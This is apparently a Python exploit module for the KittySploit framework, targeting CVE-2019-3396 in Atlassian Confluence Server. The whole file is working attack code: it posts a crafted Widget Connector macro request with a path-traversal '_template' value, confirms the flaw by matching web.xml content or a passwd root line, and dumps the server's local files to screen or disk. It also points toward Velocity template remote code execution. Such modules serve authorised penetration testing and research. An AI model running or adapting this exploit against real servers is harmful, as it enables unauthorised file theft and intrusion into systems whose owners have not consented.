Confluence Widget Connector SSTI (CVE-2019-3396)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Confluence Widget Connector SSTI / path traversal (CVE-2019-3396)."""

import json
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Confluence Widget Connector SSTI (CVE-2019-3396)',
        'description': (
            'Exploits CVE-2019-3396 in Confluence Server: Widget Connector macro '
            '_template path traversal reads local files and enables Velocity SSTI RCE.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2019-3396'],
        'platform': Platform.MULTI,
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2019-3396',
            'https://jira.atlassian.com/browse/CONFSERVER-57974',
        ],
        'tags': ['confluence', 'atlassian', 'ssti', 'lfi', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['data_exfiltration', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['file_read', 'exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2019_3396_detect'],
            },
        },
    }

    macro_path = OptString('/rest/tinymce/1/macro/preview', 'Macro preview endpoint', required=False, advanced=True)
    template_path = OptString('../web.xml', 'Traversal template path', required=False)
    output_file = OptString('', 'Local output file', required=False)

    def _preview(self, template: str) -> str:
        path = str(self.macro_path or '/rest/tinymce/1/macro/preview').strip()
        payload = {
            'contentId': '786457',
            'macro': {
                'name': 'widget',
                'body': '',
                'params': {
                    'url': 'https://www.viddler.com/v/23464dc5',
                    'width': '1000',
                    'height': '1000',
                    '_template': template,
                },
            },
        }
        r = self.http_request(
            method='POST',
            path=path,
            data=json.dumps(payload),
            headers={'Content-Type': 'application/json'},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def execute(self, remote_path: str) -> str:
        template = str(remote_path or '../web.xml').strip()
        if not template.startswith('..') and not template.startswith('file:'):
            template = '../' * 8 + template.lstrip('/')
        return self._preview(template)

    def check(self):
        body = self.execute(str(self.template_path or '../web.xml'))
        if 'contextConfigLocation' in (body or '') or re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2019-3396 template traversal confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Widget macro traversal failed', 'confidence': 'medium'}

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason'))
            return False
        body = self.execute(str(self.template_path or '../web.xml'))
        out = str(self.output_file or '').strip()
        if out:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
            print_success(f'Wrote {len(body)} bytes to {out}')
        else:
            print_success(body[:4000])
        cmd = str(getattr(self, 'command', '') or '').strip() or str(self.payload or '').strip()
        if cmd:
            print_warning('Full RCE requires remote Velocity template — use _template=file:// or SSRF URL')
        return True